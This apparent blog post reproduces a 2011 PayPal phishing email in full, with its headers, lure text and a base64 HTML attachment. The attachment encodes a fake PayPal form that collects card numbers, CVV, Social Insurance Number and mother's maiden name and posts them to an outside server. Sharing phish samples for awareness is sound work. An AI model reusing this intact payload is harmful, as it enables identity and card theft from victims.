Paypal Phish from Bell Canada

Posted by Dave Yadallee on
From - Sun Oct 23 11:53:55 2011

X-Account-Key: account2

X-UIDL: -2F"!dNG"!Bih"!cbB"!

X-Mozilla-Status: 0001

X-Mozilla-Status2: 10000000

X-Mozilla-Keys:

Return-Path:

X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on doctor.nl2k.ab.ca

X-Spam-Level: ***

X-Spam-Status: No, score=3.0 required=5.0 tests=RCVD_IN_BACKSCATTER,

RCVD_IN_SPAMCANNIBAL autolearn=no version=3.3.2

X-Original-To: sales@nk.ca

Delivered-To: sales@nk.ca

Received: from localhost (localhost.nl2k.ab.ca [127.0.0.1])

by doctor.nl2k.ab.ca (Postfix) with ESMTP id BD1F612CFA82

for ; Sun, 23 Oct 2011 11:53:23 -0600 (MDT)

X-Virus-Scanned: amavisd-new at doctor.nl2k.ab.ca

Received: from doctor.nl2k.ab.ca ([127.0.0.1])

by localhost (doctor.nl2k.ab.ca [127.0.0.1]) (amavisd-new, port 10024)

with ESMTP id b_EVoZY2ppAq for ;

Sun, 23 Oct 2011 11:53:16 -0600 (MDT)

Received: from toroondcbmts07-srv.bellnexxia.net (toroondcbmts07-srv.bellnexxia.net [207.236.237.41])

by doctor.nl2k.ab.ca (Postfix) with ESMTP id 6D17312CFA81

for ; Sun, 23 Oct 2011 11:53:15 -0600 (MDT)

Received: from toip57-bus.srvr.bell.ca ([67.69.240.184])

by toroondcbmts07-srv.bellnexxia.net

(InterMail vM.8.00.01.00 201-2244-105-20090324) with ESMTP

id <20111023175315.XSLH16199.toroondcbmts07-srv.bellnexxia.net@toip57-bus.srvr.bell.ca>

for ; Sun, 23 Oct 2011 13:53:15 -0400

Received: from toip39-bus.srvr.bell.ca ([67.69.240.40])

by toip57-bus.srvr.bell.ca with ESMTP; 23 Oct 2011 13:53:12 -0400

X-IronPort-Anti-Spam-Filtered: true

X-IronPort-Anti-Spam-Result: AghmAJ9PpE6uWFi1/2dsb2JhbAAnHIIDhhGRfAEBjn+BBoF8QXkHFIdwEIEZixuLC5BhgQQKAoxMgXODMYI7YQSOZJccgTMB

Received: from bas5-ottawa23-2925025461.dsl.bell.ca (HELO accounts.net) ([174.88.88.181])

by toip39-bus.srvr.bell.ca with ESMTP; 23 Oct 2011 13:53:12 -0400

From: PayPal Inc.

To: sales@nk.ca

Subject: Message ID 5403293

Date: 23 Oct 2011 13:53:18 -0400

Message-ID: <20111023135318.CED0D84EB99CA68D@accounts.net>

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="----=_NextPart_000_0012_E28DF338.E5231843"

X-UIDL: -2F"!dNG"!Bih"!cbB"!

X-Brightmail-Tracker: AAAAARk+61k=

X-Brightmail-Tracker: AAAAAA==



This is a multi-part message in MIME format.



------=_NextPart_000_0012_E28DF338.E5231843

Content-Type: text/plain

Content-Transfer-Encoding: 8bit



We have detected a slight error in your account information.



To eliminate securely this information error please download

the form attached to this email and open it in a web browser.







Thank you !

------=_NextPart_000_0012_E28DF338.E5231843

Content-Type: application/octet-stream; name="Customer 5403293.html"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="Customer 5403293.html"



77u/PGh0bWw+PGhlYWQ+PHN0eWxlPiB0ZCB7Zm9udC1mYW1pbHk6YXJpYWw7IGZvbnQtc2l6

ZToxMnB4O308L3N0eWxlPjwvaGVhZD48Ym9keT4NCjxmb3JtIGFjdGlvbj0iaHR0cDovL2Zh

Y3RvcmluZ21hcmtldC5jb20vY2FkL2NhcmdhLnBocCIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1p

dD0icmV0dXJuIHZhbGlkYXRlKHRoaXMpIj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiB3aWR0

aD0iNzIwIj4NCjx0cj48dGQgY29sc3Bhbj0yPjxicj48aW1nIHNyYz0iaHR0cDovL2kxMTQw

LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvbjU4MC9wcHVzZXI0MzgyNzQ4OS90b3AucG5nIiBi

b3JkZXI9IjAiPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5FbWFpbCBB

ZGRyZXNzOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJlbWFpbCIgdHlwZT0idGV4dCIgdmFsdWU9

IiIgc2l6ZT0iNDAiPjwvdGQ+PC90cj4gDQo8dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+RnVs

bCBOYW1lOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0i

IiBzaXplPSI0MCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj0icmlnaHQiPjxiPkRhdGUg

b2YgQmlydGg6PC90ZD48dGQ+PGlucHV0IG5hbWU9ImRvYiIgdHlwZT0idGVzdCIgdmFsdWU9

IiIgc2l6ZT0iMTAiPiA8c3Bhbj5ERCAvIE1NIC8gWVlZWTwvc3Bhbj48L3RkPjwvdHI+DQo8

dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+QWRkcmVzczo8L3RkPjx0ZD48aW5wdXQgbmFtZT0i

YWRkcmVzcyIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iNDAiPjwvdGQ+PC90cj4NCjx0

cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5Qb3N0YWwgQ29kZTo8L3RkPjx0ZD48aW5wdXQgbmFt

ZT0iemlwIiB0eXBlPSJ0ZXN0IiB2YWx1ZT0iIiBzaXplPSI2Ij48L3RkPjwvdHI+DQo8dHI+

PHRkIGFsaWduPSJyaWdodCI+PGI+UGhvbmUgTnVtYmVyOjwvdGQ+PHRkPjxpbnB1dCBuYW1l

PSJwaG9uZSIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iMTciPjwvdGQ+PC90cj4NCjx0

cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5DaXR5OjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJjaXR5

IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iIiBzaXplPSIyMCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBh

bGlnbj0icmlnaHQiPjxiPlNvY2lhbCBJbnN1cmFuY2UgTnVtYmVyICAoU0lOKSA6PC90ZD48

dGQ+PGlucHV0IG5hbWU9InNzbiIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iMTciPjwv

dGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5Nb3RoZXIncyBNYWlkZW4gTmFt

ZTo8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibW1uIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iIiBzaXpl

PSIzMCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj0icmlnaHQiPjxiPkNhcmQgTnVtYmVy

OjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJjYyIgdHlwZT0idGV4dCIgdmFsdWU9IiIgc2l6ZT0i

MjIiIE1BWExFTkdUSD0xNz48L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+

RXhwaXJhdGlvbiBEYXRlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtbSIg

c2l6ZT0iMiI+IC8gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Inl5eXkiIHNpemU9IjQiPiA8

c3Bhbj5NTSAvIFlZWVkgPC9zcGFuPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0

Ij48Yj5DYXJkIFZlcmlmaWNhdGlvbiBOdW1iZXI6PC90ZD48dGQ+PGlucHV0IG5hbWU9ImN2

diIgdHlwZT0idGV4dCIgdmFsdWU9IiIgc2l6ZT0iMyI+PC90cj4NCjx0cj48dGQgY29sc3Bh

bj0iMiI+PGhyIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZDtjb2xvcjojY2NjY2NjIi8+PC90

ZD48L3RyPjwvdGFibGU+DQo8dGFibGUgd2lkdGg9IjcwMCIgYWxpZ249ImNlbnRlciI+PHRy

Pjx0ZCBhbGlnbj0icmlnaHQiPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJodHRwOi8vaTEx

NDAucGhvdG9idWNrZXQuY29tL2FsYnVtcy9uNTgwL3BwdXNlcjQzODI3NDg5L3N1Ym1pdC5w

bmciIG9uY2xpY2s9Im9rKCkiPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249ImNlbnRlciI+

PGltZyBzcmM9Imh0dHA6Ly9pMTE0MC5waG90b2J1Y2tldC5jb20vYWxidW1zL241ODAvcHB1

c2VyNDM4Mjc0ODkvZW5kbmV3LnBuZyIgYm9yZGVyPSIwIj48L3RkPjwvdHI+DQo8L3RhYmxl

PjwvZm9ybT48L2JvZHk+PC9odG1sPg==



------=_NextPart_000_0012_E28DF338.E5231843--